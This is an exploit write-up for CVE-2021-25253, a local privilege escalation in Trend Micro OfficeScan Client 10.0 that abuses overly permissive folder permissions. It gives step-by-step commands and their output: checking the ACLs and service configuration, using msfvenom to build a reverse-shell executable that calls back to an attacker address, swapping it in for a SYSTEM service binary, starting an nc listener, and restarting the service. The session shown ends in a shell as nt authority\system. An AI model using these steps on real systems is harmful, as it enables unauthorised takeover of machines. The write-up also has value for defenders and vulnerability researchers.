CVE-2021-25253

#########################################################################
#                                                                       #
#  Exploit Title: Trend Micro OfficeScan Client 10.0 - ACL Service LPE  #
#  Date: 2023/05/04                                                     #
#  Exploit Author: msd0pe                                               #
#  Vendor Homepage: https://www.trendmicro.com                          #
#  My Github: https://github.com/msd0pe-1                               # 
#                                                                       # 
#########################################################################

Trend Micro OfficeScan Client:

Versions =< 10.0 contains wrong ACL rights on the OfficeScan client folder which allows attackers to escalate privileges to the system level through the services. This vulnerabily does not need any privileges access.

Verify the folder rights:

    > icacls "C:\Program Files (x86)\Trend Micro\OfficeScan Client"

    C:\Program Files (x86)\Trend Micro\OfficeScan Client NT SERVICE\TrustedInstaller:(F)
                                                         NT SERVICE\TrustedInstaller:(CI)(IO)(F)
                                                         NT AUTHORITY\SYSTEM:(F)
                                                         NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F)
                                                         BUILTIN\Administrators:(F)
                                                         BUILTIN\Administrators:(OI)(CI)(IO)(F)
                                                         BUILTIN\Users:(F)
                                                         BUILTIN\Users:(OI)(CI)(IO)(F)
                                                         CREATOR OWNER:(OI)(CI)(IO)(F)
                                                         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(RX)
                                                         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(OI)(CI)(IO)

Get informations about the services:

    > sc qc tmlisten

    [SC] QueryServiceConfig SUCCESS

    SERVICE_NAME: tmlisten
            TYPE               : 10  WIN32_OWN_PROCESS
            START_TYPE         : 2   AUTO_START
            ERROR_CONTROL      : 1   NORMAL
            BINARY_PATH_NAME   : "C:\Program Files (x86)\Trend Micro\OfficeScan Client\tmlisten.exe"
            LOAD_ORDER_GROUP   :
            TAG                : 0
            DISPLAY_NAME       : OfficeScan NT Listener
            DEPENDENCIES       : Netman
                               : WinMgmt
            SERVICE_START_NAME : LocalSystem

OR

    > sc qc ntrtscan

    SERVICE_NAME: ntrtscan
            TYPE               : 10  WIN32_OWN_PROCESS
            START_TYPE         : 2   AUTO_START
            ERROR_CONTROL      : 1   NORMAL
            BINARY_PATH_NAME   : "C:\Program Files (x86)\Trend Micro\OfficeScan Client\ntrtscan.exe"
            LOAD_ORDER_GROUP   :
            TAG                : 0
            DISPLAY_NAME       : OfficeScan NT RealTime Scan
            DEPENDENCIES       :
            SERVICE_START_NAME : LocalSystem

Generate a reverse shell:

    > msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f exe -o tmlisten.exe

OR

    > msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f exe -o ntrtscan.exe

Upload the reverse shell to C:\Program Files(x86)\Trend Micro\OfficeScan Client\tmlisten.exe OR C:\Program Files(x86)\Trend Micro\OfficeScan Client\ntrtscan.exe

Start listener

    > nc -lvp 4444

Reboot the service/server

    > sc stop tmlisten
    > sc start tmlisten

OR

    > sc stop ntrtscan
    > sc start ntrtscan

OR

    > shutdown /r

Enjoy !

    192.168.1.102: inverse host lookup failed: Unknown host
    connect to [192.168.1.101] from (UNKNOWN) [192.168.1.102] 51309
    Microsoft Windows [Version 10.0.19045.2130]
    (c) Microsoft Corporation. All rights reserved.

    C:\Windows\system32>whoami

    nt authority\system